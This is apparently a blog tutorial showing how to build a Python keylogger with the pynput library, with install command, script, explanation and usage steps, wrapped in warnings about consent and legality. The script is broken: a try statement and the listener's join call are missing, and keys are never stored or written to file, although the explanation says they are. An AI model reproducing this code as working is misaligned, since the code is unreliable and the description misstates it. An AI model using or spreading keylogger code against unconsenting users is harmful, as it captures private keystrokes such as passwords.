How to make a Keylogger using pynput

Share your love

In this blog post, we’ll explore how to create a simple keylogger using the pynput library in Python. A keylogger is a program that records keystrokes made by a user on their keyboard. While keyloggers can have legitimate uses (such as monitoring computer activity for security purposes), they can also be misused for malicious intent. It’s essential to use this knowledge responsibly and ethically.

Building a Keylogger using pynput

1. Introduction to pynput:

The pynput library provides classes for controlling and monitoring input devices (such as keyboards and mice). We’ll focus on the keyboard aspect to create our keylogger.

2. Installation:

Before we begin, make sure you have the pynput library installed. You can install it using the following command:

pip install pynput

3. Creating the Keylogger:

Below, I’ll provide a simple example of a keylogger using pynput. Remember that using keyloggers without proper consent is unethical and potentially illegal. Always respect privacy and follow legal guidelines.



import pynput
from pynput.keyboard import Key, Listener

keys = []

def on_press(key):
        # Append the pressed key to the list
        print(f"Key pressed: {key.char}")
    except AttributeError:
        # Handle special keys (e.g., Shift, Ctrl, etc.)
        print(f"Special key pressed: {key}")

def on_release(key):
    if key == Key.esc:
        # Stop the keylogger when the user presses the 'Esc' key
        return False

def write_to_file():
    # Write the captured keys to a log file
    with open("keylog.txt", "w") as f:
        for key in keys:
            f.write(str(key) + "\n")

if __name__ == "__main__":
    print("Keylogger started. Press 'Esc' to stop.")
    with Listener(on_press=on_press, on_release=on_release) as listener:

AI-generated code. Review and use carefully. More info on FAQ.

4. Explanation:

  • The script initializes an empty list called keys to store the pressed keys.
  • The on_press function is called whenever a key is pressed. It appends the key (either alphanumeric or special) to the list.
  • The on_release function is called when a key is released. If the ‘Esc’ key is pressed, it stops the keylogger and writes the captured keys to a file.
  • The write_to_file function saves the captured keys to a text file named “keylog.txt”.

5. Usage:

  1. Run the script (python
  2. Type some keys.
  3. Press ‘Esc’ to stop the keylogger.
  4. Check the “keylog.txt” file to see the captured keys.

6. Conclusion:

Written by: Piyush Patil

Remember that using keyloggers without proper authorization is unethical and potentially illegal. Always use this knowledge responsibly and for legitimate purposes.

Share your love